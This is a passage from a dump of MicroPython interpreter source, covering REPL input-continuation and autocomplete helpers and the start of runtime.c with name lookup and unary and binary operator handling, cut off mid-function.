    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include \"py/obj.h\"\n#include \"py/runtime.h\"\n#include \"py/repl.h\"\n\n#if MICROPY_HELPER_REPL\n\nSTATIC bool str_startswith_word(const char *str, const char *head) {\n    size_t i;\n    for (i = 0; str[i] && head[i]; i++) {\n        if (str[i] != head[i]) {\n            return false;\n        }\n    }\n    return head[i] == '\\0' && (str[i] == '\\0' || !unichar_isident(str[i]));\n}\n\nbool mp_repl_continue_with_input(const char *input) {\n    // check for blank input\n    if (input[0] == '\\0') {\n        return false;\n    }\n\n    // check if input starts with a certain keyword\n    bool starts_with_compound_keyword =\n           input[0] == '@'\n        || str_startswith_word(input, \"if\")\n        || str_startswith_word(input, \"while\")\n        || str_startswith_word(input, \"for\")\n        || str_startswith_word(input, \"try\")\n        || str_startswith_word(input, \"with\")\n        || str_startswith_word(input, \"def\")\n        || str_startswith_word(input, \"class\")\n        #if MICROPY_PY_ASYNC_AWAIT\n        || str_startswith_word(input, \"async\")\n        #endif\n        ;\n\n    // check for unmatched open bracket, quote or escape quote\n    #define Q_NONE (0)\n    #define Q_1_SINGLE (1)\n    #define Q_1_DOUBLE (2)\n    #define Q_3_SINGLE (3)\n    #define Q_3_DOUBLE (4)\n    int n_paren = 0;\n    int n_brack = 0;\n    int n_brace = 0;\n    int in_quote = Q_NONE;\n    const char *i;\n    for (i = input; *i; i++) {\n        if (*i == '\\'') {\n            if ((in_quote == Q_NONE || in_quote == Q_3_SINGLE) && i[1] == '\\'' && i[2] == '\\'') {\n                i += 2;\n                in_quote = Q_3_SINGLE - in_quote;\n            } else if (in_quote == Q_NONE || in_quote == Q_1_SINGLE) {\n                in_quote = Q_1_SINGLE - in_quote;\n            }\n        } else if (*i == '\"') {\n            if ((in_quote == Q_NONE || in_quote == Q_3_DOUBLE) && i[1] == '\"' && i[2] == '\"') {\n                i += 2;\n                in_quote = Q_3_DOUBLE - in_quote;\n            } else if (in_quote == Q_NONE || in_quote == Q_1_DOUBLE) {\n                in_quote = Q_1_DOUBLE - in_quote;\n            }\n        } else if (*i == '\\\\' && (i[1] == '\\'' || i[1] == '\"' || i[1] == '\\\\')) {\n            if (in_quote != Q_NONE) {\n                i++;\n            }\n        } else if (in_quote == Q_NONE) {\n            switch (*i) {\n                case '(': n_paren += 1; break;\n                case ')': n_paren -= 1; break;\n                case '[': n_brack += 1; break;\n                case ']': n_brack -= 1; break;\n                case '{': n_brace += 1; break;\n                case '}': n_brace -= 1; break;\n                default: break;\n            }\n        }\n    }\n\n    // continue if unmatched brackets or quotes\n    if (n_paren > 0 || n_brack > 0 || n_brace > 0 || in_quote == Q_3_SINGLE || in_quote == Q_3_DOUBLE) {\n        return true;\n    }\n\n    // continue if last character was backslash (for line continuation)\n    if (i[-1] == '\\\\') {\n        return true;\n    }\n\n    // continue if compound keyword and last line was not empty\n    if (starts_with_compound_keyword && i[-1] != '\\n') {\n        return true;\n    }\n\n    // otherwise, don't continue\n    return false;\n}\n\nsize_t mp_repl_autocomplete(const char *str, size_t len, const mp_print_t *print, const char **compl_str) {\n    // scan backwards to find start of \"a.b.c\" chain\n    const char *org_str = str;\n    const char *top = str + len;\n    for (const char *s = top; --s >= str;) {\n        if (!(unichar_isalpha(*s) || unichar_isdigit(*s) || *s == '_' || *s == '.')) {\n            ++s;\n            str = s;\n            break;\n        }\n    }\n\n    // begin search in locals dict\n    mp_obj_dict_t *dict = mp_locals_get();\n\n    for (;;) {\n        // get next word in string to complete\n        const char *s_start = str;\n        while (str < top && *str != '.') {\n            ++str;\n        }\n        size_t s_len = str - s_start;\n\n        if (str < top) {\n            // a complete word, lookup in current dict\n\n            mp_obj_t obj = MP_OBJ_NULL;\n            for (size_t i = 0; i < dict->map.alloc; i++) {\n                if (MP_MAP_SLOT_IS_FILLED(&dict->map, i)) {\n                    size_t d_len;\n                    const char *d_str = mp_obj_str_get_data(dict->map.table[i].key, &d_len);\n                    if (s_len == d_len && strncmp(s_start, d_str, d_len) == 0) {\n                        obj = dict->map.table[i].value;\n                        break;\n                    }\n                }\n            }\n\n            if (obj == MP_OBJ_NULL) {\n                // lookup failed\n                return 0;\n            }\n\n            // found an object of this name; try to get its dict\n            if (MP_OBJ_IS_TYPE(obj, &mp_type_module)) {\n                dict = mp_obj_module_get_globals(obj);\n            } else {\n                mp_obj_type_t *type;\n                if (MP_OBJ_IS_TYPE(obj, &mp_type_type)) {\n                    type = MP_OBJ_TO_PTR(obj);\n                } else {\n                    type = mp_obj_get_type(obj);\n                }\n                if (type->locals_dict != NULL && type->locals_dict->base.type == &mp_type_dict) {\n                    dict = type->locals_dict;\n                } else {\n                    // obj has no dict\n                    return 0;\n                }\n            }\n\n            // skip '.' to move to next word\n            ++str;\n\n        } else {\n            // end of string, do completion on this partial name\n\n            // look for matches\n            int n_found = 0;\n            const char *match_str = NULL;\n            size_t match_len = 0;\n            for (size_t i = 0; i < dict->map.alloc; i++) {\n                if (MP_MAP_SLOT_IS_FILLED(&dict->map, i)) {\n                    size_t d_len;\n                    const char *d_str = mp_obj_str_get_data(dict->map.table[i].key, &d_len);\n                    if (s_len <= d_len && strncmp(s_start, d_str, s_len) == 0) {\n                        if (match_str == NULL) {\n                            match_str = d_str;\n                            match_len = d_len;\n                        } else {\n                            // search for longest common prefix of match_str and d_str\n                            // (assumes these strings are null-terminated)\n                            for (size_t j = s_len; j <= match_len && j <= d_len; ++j) {\n                                if (match_str[j] != d_str[j]) {\n                                    match_len = j;\n                                    break;\n                                }\n                            }\n                        }\n                        ++n_found;\n                    }\n                }\n            }\n\n            // nothing found\n            if (n_found == 0) {\n                // If there're no better alternatives, and if it's first word\n                // in the line, try to complete \"import\".\n                if (s_start == org_str) {\n                    static const char import_str[] = \"import \";\n                    if (memcmp(s_start, import_str, s_len) == 0) {\n                        *compl_str = import_str + s_len;\n                        return sizeof(import_str) - 1 - s_len;\n                    }\n                }\n\n                return 0;\n            }\n\n            // 1 match found, or multiple matches with a common prefix\n            if (n_found == 1 || match_len > s_len) {\n                *compl_str = match_str + s_len;\n                return match_len - s_len;\n            }\n\n            // multiple matches found, print them out\n\n            #define WORD_SLOT_LEN (16)\n            #define MAX_LINE_LEN  (4 * WORD_SLOT_LEN)\n\n            int line_len = MAX_LINE_LEN; // force a newline for first word\n            for (size_t i = 0; i < dict->map.alloc; i++) {\n                if (MP_MAP_SLOT_IS_FILLED(&dict->map, i)) {\n                    size_t d_len;\n                    const char *d_str = mp_obj_str_get_data(dict->map.table[i].key, &d_len);\n                    if (s_len <= d_len && strncmp(s_start, d_str, s_len) == 0) {\n                        int gap = (line_len + WORD_SLOT_LEN - 1) / WORD_SLOT_LEN * WORD_SLOT_LEN - line_len;\n                        if (gap < 2) {\n                            gap += WORD_SLOT_LEN;\n                        }\n                        if (line_len + gap + d_len <= MAX_LINE_LEN) {\n                            // TODO optimise printing of gap?\n                            for (int j = 0; j < gap; ++j) {\n                                mp_print_str(print, \" \");\n                            }\n                            mp_print_str(print, d_str);\n                            line_len += gap + d_len;\n                        } else {\n                            mp_printf(print, \"\\n%s\", d_str);\n                            line_len = d_len;\n                        }\n                    }\n                }\n            }\n            mp_print_str(print, \"\\n\");\n\n            return (size_t)(-1); // indicate many matches\n        }\n    }\n}\n\n#endif // MICROPY_HELPER_REPL\n"
  },
  {
    "path": "micropython/source/py/runtime.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/mpstate.h\"\n#include \"py/nlr.h\"\n#include \"py/parsenum.h\"\n#include \"py/compile.h\"\n#include \"py/objstr.h\"\n#include \"py/objtuple.h\"\n#include \"py/objlist.h\"\n#include \"py/objmodule.h\"\n#include \"py/objgenerator.h\"\n#include \"py/smallint.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/builtin.h\"\n#include \"py/stackctrl.h\"\n#include \"py/gc.h\"\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_PRINT (1)\n#define DEBUG_printf DEBUG_printf\n#define DEBUG_OP_printf(...) DEBUG_printf(__VA_ARGS__)\n#else // don't print debugging info\n#define DEBUG_printf(...) (void)0\n#define DEBUG_OP_printf(...) (void)0\n#endif\n\nconst mp_obj_module_t mp_module___main__ = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&MP_STATE_VM(dict_main),\n};\n\nvoid mp_init(void) {\n    qstr_init();\n\n    // no pending exceptions to start with\n    MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL;\n    #if MICROPY_ENABLE_SCHEDULER\n    MP_STATE_VM(sched_state) = MP_SCHED_IDLE;\n    MP_STATE_VM(sched_sp) = 0;\n    #endif\n\n#if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF\n    mp_init_emergency_exception_buf();\n#endif\n\n    #if MICROPY_KBD_EXCEPTION\n    // initialise the exception object for raising KeyboardInterrupt\n    MP_STATE_VM(mp_kbd_exception).base.type = &mp_type_KeyboardInterrupt;\n    MP_STATE_VM(mp_kbd_exception).traceback_alloc = 0;\n    MP_STATE_VM(mp_kbd_exception).traceback_len = 0;\n    MP_STATE_VM(mp_kbd_exception).traceback_data = NULL;\n    MP_STATE_VM(mp_kbd_exception).args = (mp_obj_tuple_t*)&mp_const_empty_tuple_obj;\n    #endif\n\n    // call port specific initialization if any\n#ifdef MICROPY_PORT_INIT_FUNC\n    MICROPY_PORT_INIT_FUNC;\n#endif\n\n    // optimization disabled by default\n    MP_STATE_VM(mp_optimise_value) = 0;\n\n    // init global module dict\n    mp_obj_dict_init(&MP_STATE_VM(mp_loaded_modules_dict), 3);\n\n    // initialise the __main__ module\n    mp_obj_dict_init(&MP_STATE_VM(dict_main), 1);\n    mp_obj_dict_store(MP_OBJ_FROM_PTR(&MP_STATE_VM(dict_main)), MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR___main__));\n\n    // locals = globals for outer module (see Objects/frameobject.c/PyFrame_New())\n    mp_locals_set(&MP_STATE_VM(dict_main));\n    mp_globals_set(&MP_STATE_VM(dict_main));\n\n    #if MICROPY_CAN_OVERRIDE_BUILTINS\n    // start with no extensions to builtins\n    MP_STATE_VM(mp_module_builtins_override_dict) = NULL;\n    #endif\n\n    #if MICROPY_FSUSERMOUNT\n    // zero out the pointers to the user-mounted devices\n    memset(MP_STATE_VM(fs_user_mount), 0, sizeof(MP_STATE_VM(fs_user_mount)));\n    #endif\n\n    #if MICROPY_VFS\n    // initialise the VFS sub-system\n    MP_STATE_VM(vfs_cur) = NULL;\n    MP_STATE_VM(vfs_mount_table) = NULL;\n    #endif\n\n    #if MICROPY_PY_THREAD_GIL\n    mp_thread_mutex_init(&MP_STATE_VM(gil_mutex));\n    #endif\n\n    MP_THREAD_GIL_ENTER();\n}\n\nvoid mp_deinit(void) {\n    //mp_obj_dict_free(&dict_main);\n    //mp_map_deinit(&MP_STATE_VM(mp_loaded_modules_map));\n\n    // call port specific deinitialization if any\n#ifdef MICROPY_PORT_INIT_FUNC\n    MICROPY_PORT_DEINIT_FUNC;\n#endif\n}\n\nmp_obj_t mp_load_name(qstr qst) {\n    // logic: search locals, globals, builtins\n    DEBUG_OP_printf(\"load name %s\\n\", qstr_str(qst));\n    // If we're at the outer scope (locals == globals), dispatch to load_global right away\n    if (mp_locals_get() != mp_globals_get()) {\n        mp_map_elem_t *elem = mp_map_lookup(&mp_locals_get()->map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP);\n        if (elem != NULL) {\n            return elem->value;\n        }\n    }\n    return mp_load_global(qst);\n}\n\nmp_obj_t mp_load_global(qstr qst) {\n    // logic: search globals, builtins\n    DEBUG_OP_printf(\"load global %s\\n\", qstr_str(qst));\n    mp_map_elem_t *elem = mp_map_lookup(&mp_globals_get()->map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP);\n    if (elem == NULL) {\n        #if MICROPY_CAN_OVERRIDE_BUILTINS\n        if (MP_STATE_VM(mp_module_builtins_override_dict) != NULL) {\n            // lookup in additional dynamic table of builtins first\n            elem = mp_map_lookup(&MP_STATE_VM(mp_module_builtins_override_dict)->map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP);\n            if (elem != NULL) {\n                return elem->value;\n            }\n        }\n        #endif\n        elem = mp_map_lookup((mp_map_t*)&mp_module_builtins_globals.map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP);\n        if (elem == NULL) {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                mp_raise_msg(&mp_type_NameError, \"name not defined\");\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_NameError,\n                    \"name '%q' is not defined\", qst));\n            }\n        }\n    }\n    return elem->value;\n}\n\nmp_obj_t mp_load_build_class(void) {\n    DEBUG_OP_printf(\"load_build_class\\n\");\n    #if MICROPY_CAN_OVERRIDE_BUILTINS\n    if (MP_STATE_VM(mp_module_builtins_override_dict) != NULL) {\n        // lookup in additional dynamic table of builtins first\n        mp_map_elem_t *elem = mp_map_lookup(&MP_STATE_VM(mp_module_builtins_override_dict)->map, MP_OBJ_NEW_QSTR(MP_QSTR___build_class__), MP_MAP_LOOKUP);\n        if (elem != NULL) {\n            return elem->value;\n        }\n    }\n    #endif\n    return MP_OBJ_FROM_PTR(&mp_builtin___build_class___obj);\n}\n\nvoid mp_store_name(qstr qst, mp_obj_t obj) {\n    DEBUG_OP_printf(\"store name %s <- %p\\n\", qstr_str(qst), obj);\n    mp_obj_dict_store(MP_OBJ_FROM_PTR(mp_locals_get()), MP_OBJ_NEW_QSTR(qst), obj);\n}\n\nvoid mp_delete_name(qstr qst) {\n    DEBUG_OP_printf(\"delete name %s\\n\", qstr_str(qst));\n    // TODO convert KeyError to NameError if qst not found\n    mp_obj_dict_delete(MP_OBJ_FROM_PTR(mp_locals_get()), MP_OBJ_NEW_QSTR(qst));\n}\n\nvoid mp_store_global(qstr qst, mp_obj_t obj) {\n    DEBUG_OP_printf(\"store global %s <- %p\\n\", qstr_str(qst), obj);\n    mp_obj_dict_store(MP_OBJ_FROM_PTR(mp_globals_get()), MP_OBJ_NEW_QSTR(qst), obj);\n}\n\nvoid mp_delete_global(qstr qst) {\n    DEBUG_OP_printf(\"delete global %s\\n\", qstr_str(qst));\n    // TODO convert KeyError to NameError if qst not found\n    mp_obj_dict_delete(MP_OBJ_FROM_PTR(mp_globals_get()), MP_OBJ_NEW_QSTR(qst));\n}\n\nmp_obj_t mp_unary_op(mp_uint_t op, mp_obj_t arg) {\n    DEBUG_OP_printf(\"unary \" UINT_FMT \" %p\\n\", op, arg);\n\n    if (op == MP_UNARY_OP_NOT) {\n        // \"not x\" is the negative of whether \"x\" is true per Python semantics\n        return mp_obj_new_bool(mp_obj_is_true(arg) == 0);\n    } else if (MP_OBJ_IS_SMALL_INT(arg)) {\n        mp_int_t val = MP_OBJ_SMALL_INT_VALUE(arg);\n        switch (op) {\n            case MP_UNARY_OP_BOOL:\n                return mp_obj_new_bool(val != 0);\n            case MP_UNARY_OP_HASH:\n                return arg;\n            case MP_UNARY_OP_POSITIVE:\n                return arg;\n            case MP_UNARY_OP_NEGATIVE:\n                // check for overflow\n                if (val == MP_SMALL_INT_MIN) {\n                    return mp_obj_new_int(-val);\n                } else {\n                    return MP_OBJ_NEW_SMALL_INT(-val);\n                }\n            default:\n                assert(op == MP_UNARY_OP_INVERT);\n                return MP_OBJ_NEW_SMALL_INT(~val);\n        }\n    } else if (op == MP_UNARY_OP_HASH && MP_OBJ_IS_STR_OR_BYTES(arg)) {\n        // fast path for hashing str/bytes\n        GET_STR_HASH(arg, h);\n        if (h == 0) {\n            GET_STR_DATA_LEN(arg, data, len);\n            h = qstr_compute_hash(data, len);\n        }\n        return MP_OBJ_NEW_SMALL_INT(h);\n    } else {\n        mp_obj_type_t *type = mp_obj_get_type(arg);\n        if (type->unary_op != NULL) {\n            mp_obj_t result = type->unary_op(op, arg);\n            if (result != MP_OBJ_NULL) {\n                return result;\n            }\n        }\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"unsupported type for operator\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"unsupported type for %q: '%s'\",\n                mp_unary_op_method_name[op], mp_obj_get_type_str(arg)));\n        }\n    }\n}\n\nmp_obj_t mp_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs) {\n    DEBUG_OP_printf(\"binary \" UINT_FMT \" %p %p\\n\", op, lhs, rhs);\n\n    // TODO correctly distinguish inplace operators for mutable objects\n    // lookup logic that CPython uses for +=:\n    //   check for implemented +=\n    //   then check for implemented +\n    //   then check for implemented seq.inplace_concat\n    //   then check for implemented seq.concat\n    //   then fail\n    // note that list does not implement + or +=, so that inplace_concat is reached first for +=\n\n    // deal with is\n    if (op == MP_BINARY_OP_IS) {\n        return mp_obj_new_bool(lhs == rhs);\n    }\n\n    // deal with == and != for all types\n    if (op == MP_BINARY_OP_EQUAL || op == MP_BINARY_OP_NOT_EQUAL) {\n        if (mp_obj_equal(lhs, rhs)) {\n            if (op == MP_BINARY_OP_EQUAL) {\n                return mp_const_true;\n            } else {\n                return mp_const_false;\n            }\n        } else {\n            if (op == MP_BINARY_OP_EQUAL) {\n                return mp_const_false;\n            } else {\n                return mp_const_true;\n            }\n        }\n    }\n\n    // deal with exception_match for all types\n    if (op == MP_BINARY_OP_EXCEPTION_MATCH) {\n        // rhs must be issubclass(rhs, BaseException)\n        if (mp_obj_is_exception_type(rhs)) {\n            if (mp_obj_exception_match(lhs, rhs)) {\n                return mp_const_true;\n            } else {\n                return mp_const_false;\n            }\n        } else if (MP_OBJ_IS_TYPE(rhs, &mp_type_tuple)) {\n            mp_obj_tuple_t *tuple = MP_OBJ_TO_PTR(rhs);\n            for (size_t i = 0; i < tuple->len; i++) {\n                rhs = tuple->items[i];\n                if (!mp_obj_is_exception_type(rhs)) {\n                    goto unsupported_op;\n                }\n                if (mp_obj_exception_match(lhs, rhs)) {\n                    return mp_const_true;\n                }\n            }\n            return mp_const_false;\n        }\n        goto unsupported_op;\n    }\n\n    if (MP_OBJ_IS_SMALL_INT(lhs)) {\n        mp_int_t lhs_val = MP_OBJ_SMALL_INT_VALUE(lhs);\n        if (MP_OBJ_IS_SMALL_INT(rhs)) {\n            mp_int_t rhs_val = MP_OBJ_SMALL_INT_VALUE(rhs);\n            // This is a binary operation: lhs_val op rhs_val\n            // We need to be careful to handle overflow; see CERT INT32-C\n            // Operations that can overflow:\n            //      +       result always fits in mp_int_t, then handled by SMALL_INT check\n            //      -       result always fits in mp_int_t, then handled by SMALL_INT check\n            //      *       checked explicitly\n            //      /       if lhs=MIN and rhs=-1; result always fits in mp_int_t, then handled by SMALL_INT check\n            //      %       if lhs=MIN and rhs=-1; result always fits in mp_int_t, then handled by SMALL_INT check\n            //      <<      checked explicitly\n            switch (op) {\n                case MP_BINARY_OP_OR:\n                case MP_BINARY_OP_INPLACE_OR: lhs_val |= rhs_val; break;\n                case MP_BINARY_OP_XOR:\n                case MP_BINARY_OP_INPLACE_XOR: lhs_val ^= rhs_val; break;\n                case MP_BINARY_OP_AND:\n                case MP_BINARY_OP_INPLACE_AND: lhs_val &= rhs_val; break;\n                case MP_BINARY_OP_LSHIFT:\n                case MP_BINARY_OP_INPLACE_LSHIFT: {\n                    if (rhs_val < 0) {\n                        // negative shift not allowed\n                        mp_raise_ValueError(\"negative shift count\");\n                    } else if (rhs_val >= (mp_int_t)BITS_PER_WORD || lhs_val > (MP_SMALL_INT_MAX >> rhs_val) || lhs_val < (MP_SMALL_INT_MIN >> rhs_val)) {\n                        // left-shift will overflow, so use higher precision integer\n                        lhs = mp_obj_new_int_from_ll(lhs_val);\n                        goto generic_binary_op;\n                    } else {\n                        // use standard precision\n                        lhs_val <<= rhs_val;\n                    }\n                    break;\n                }\n                case MP_BINARY_OP_RSHIFT:\n                case MP_BINARY_OP_INPLACE_RSHIFT:\n                    if (rhs_val < 0) {\n                        // negative shift not allowed\n                        mp_raise_ValueError(\"negative shift count\");\n                    } else {\n                        // standard precision is enough for right-shift\n                        if (rhs_val >= (mp_int_t)BITS_PER_WORD) {\n                            // Shifting to big amounts is underfined behavior\n                            // in C and is CPU-dependent; propagate sign bit.\n                            rhs_val = BITS_PER_WORD - 1;\n                        }\n                        lhs_val >>= rhs_val;\n                    }\n                    break;\n                case MP_BINARY_OP_ADD:\n                case MP_BINARY_OP_INPLACE_ADD: lhs_val += rhs_val; break;\n                case MP_BINARY_OP_SUBTRACT:\n                case MP_BINARY_OP_INPLACE_SUBTRACT: lhs_val -= rhs_val; break;\n                case MP_BINARY_OP_MULTIPLY:\n                case MP_BINARY_OP_INPLACE_MULTIPLY: {\n\n                    // If long long type exists and is larger than mp_int_t, then\n                    // we can use the following code to perform overflow-checked multiplication.\n                    // Otherwise (eg in x64 case) we must use mp_small_int_mul_overflow.\n                    #if 0\n                    // compute result using long long precision\n                    long long res = (long long)lhs_val * (long long)rhs_val;\n                    if (res > MP_SMALL_INT_MAX || res < MP_SMALL_INT_MIN) {\n                        // result overflowed SMALL_INT, so return higher precision integer\n                        return mp_obj_new_int_from_ll(res);\n                    } else {\n                        // use standard precision\n                        lhs_val = (mp_int_t)res;\n                    }\n                    #endif\n\n                    if (mp_small_int_mul_overflow(lhs_val, rhs_val)) {\n                        // use higher precision\n                        lhs = mp_obj_new_int_from_ll(lhs_val);\n                        goto generic_binary_op;\n                    } else {\n                        // use standard precision\n                        return MP_OBJ_NEW_SMALL_INT(lhs_val * rhs_val);\n                    }\n                    break;\n                }\n                case MP_BINARY_OP_FLOOR_DIVIDE:\n                case MP_BINARY_OP_INPLACE_FLOOR_DIVIDE:\n                    if (rhs_val == 0) {\n                        goto zero_division;\n                    }\n                    lhs_val = mp_small_int_floor_divide(lhs_val, rhs_val);\n                    break;\n\n                #if MICROPY_PY_BUILTINS_FLOAT\n                case MP_BINARY_OP_TRUE_DIVIDE:\n                case MP_BINARY_OP_INPLACE_TRUE_DIVIDE:\n                    if (rhs_val == 0) {\n                        goto zero_division;\n                    }\n                    return mp_obj_new_float((mp_float_t)lhs_val / (mp_float_t)rhs_val);\n                #endif\n\n                case MP_BINARY_OP_MODULO:\n                case MP_BINARY_OP_INPLACE_MODULO: {\n                    if (rhs_val == 0) {\n                        goto zero_division;\n                    }\n                    lhs_val = mp_small_int_modulo(lhs_val, rhs_val);\n                    break;\n                }\n\n                case MP_BINARY_OP_POWER:\n                case MP_BINARY_OP_INPLACE_POWER:\n                    if (rhs_val < 0) {\n                        #if MICROPY_PY_BUILTINS_FLOAT\n                        lhs = mp_obj_new_float(lhs_val);\n                        goto generic_binary_op;\n                        #else\n                        mp_raise_ValueError(\"negative power with no float support\");\n                        #endif\n                    } else {\n                        mp_int_t ans = 1;\n                        while (rhs_val > 0) {\n                            if (rhs_val & 1) {\n                                if (mp_small_int_mul_overflow(ans, lhs_val)) {\n                                    goto power_overflow;\n                                }\n                                ans *= lhs_val;\n                            }\n                            if (rhs_val == 1) {\n                                break;\n                            }\n                            rhs_val /= 2;\n                            if (mp_small_int_mul_overflow(lhs_val, lhs_val)) {\n                                goto power_overflow;\n                            }\n                            lhs_val *= lhs_val;\n                        }\n                        lhs_val = ans;\n                    }\n                    break;\n\n                power_overflow:\n                    // use higher precision\n                    lhs = mp_obj_new_int_from_ll(MP_OBJ_SMALL_INT_VALUE(lhs));\n                    goto generic_binary_op;\n\n                case MP_BINARY_OP_DIVMOD: {\n                    if (rhs_val == 0) {\n                        goto zero_division;\n                    }\n                    // to reduce stack usage we don't pass a temp array of the 2 items\n                    mp_obj_tuple_t *tuple = MP_OBJ_TO_PTR(mp_obj_new_tuple(2, NULL));\n                    tuple->items[0] = MP_OBJ_NEW_SMALL_INT(mp_small_int_floor_divide(lhs_val, rhs_val));\n                    tuple->items[1] = MP_OBJ_NEW_SMALL_INT(mp_small_int_modulo(lhs_val, rhs_val));\n                    return MP_OBJ_FROM_PTR(tuple);\n                }\n\n                case MP_BINARY_OP_LESS: return mp_obj_new_bool(lhs_val < rhs_val); break;\n                case MP_BINARY_OP_MORE: return mp_obj_new_bool(lhs_val > rhs_val); break;\n                case MP_BINARY_OP_LESS_EQUAL: return mp_obj_new_bool(lhs_val <= rhs_val); break;\n                case MP_BINARY_OP_MORE_EQUAL: return mp_obj_new_bool(lhs_val >= rhs_val); break;\n\n                default:\n                    goto unsupported_op;\n            }\n            // TODO: We just should make mp_obj_new_int() inline and use that\n            if (MP_SMALL_INT_FITS(lhs_val)) {\n                return MP_OBJ_NEW_SMALL_INT(lhs_val);\n            } else {\n                return mp_obj_new_int(lhs_val);\n            }\n#if MICROPY_PY_BUILTINS_FLOAT\n        } else if (mp_obj_is_float(rhs)) {\n            mp_obj_t res = mp_obj_float_binary_op(op, lhs_val, rhs);\n            if (res == MP_OBJ_NULL) {\n                goto unsupported_op;\n            } else {\n                return res;\n            }\n#if MICROPY_PY_BUILTINS_COMPLEX\n        } else if (MP_OBJ_IS_TYPE(rhs, &mp_type_complex)) {\n            mp_obj_t res = mp_obj_complex_binary_op(op, lhs_val, 0, rhs);\n            if (res == MP_OBJ_NULL) {\n                goto unsupported_op;\n            } else {\n                return res;\n            }\n#endif\n#endif\n        }\n    }\n\n    /* deal with `in`\n     *\n     * NOTE `a in b` is `b.__contains__(a)`, hence why the generic dispatch\n     * needs to go below with swapped arguments\n     */\n    if (op == MP_BINARY_OP_IN) {\n        mp_obj_type_t *type = mp_obj_get_type(rhs);\n        if (type->binary_op != NULL) {\n            mp_obj_t res = type->binary_op(op, rhs, lhs);\n            if (res != MP_OBJ_NULL) {\n                return res;\n            }\n        }\n        if (type->getiter != NULL) {\n            /* second attempt, walk the iterator */\n            mp_obj_iter_buf_t iter_buf;\n            mp_obj_t iter = mp_getiter(rhs, &iter_buf);\n            mp_obj_t next;\n            while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) {\n                if (mp_obj_equal(next, lhs)) {\n                    return mp_const_true;\n                }\n            }\n            return mp_const_false;\n        }\n\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"object not iterable\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"'%s' object is not iterable\", mp_obj_get_type_str(rhs)));\n        }\n    }\n\n    // generic binary_op supplied by type\n    mp_obj_type_t *type;\ngeneric_binary_op:\n    type = mp_obj_get_type(lhs);\n    if (type->binary_op != NULL) {\n        mp_obj_t result = type->binary_op(op, lhs, rhs);\n        if (result != MP_OBJ_NULL) {\n            return result;\n        }\n    }\n\n    // TODO implement dispatch for reverse binary ops\n\nunsupported_op:\n    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n        mp_raise_TypeError(\"unsupported type for operator\");\n    } else {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n            \"unsupported types for %q: '%s', '%s'\",\n            mp_binary_op_method_name[op], mp_obj_get_type_str(lhs), mp_obj_get_type_str(rhs)));\n    }\n\nzero_division:\n    mp_raise_msg(&mp_type_ZeroDivisionError, \"division by zero\");\n}\n\nmp_obj_t mp_call_function_0(mp_obj_t 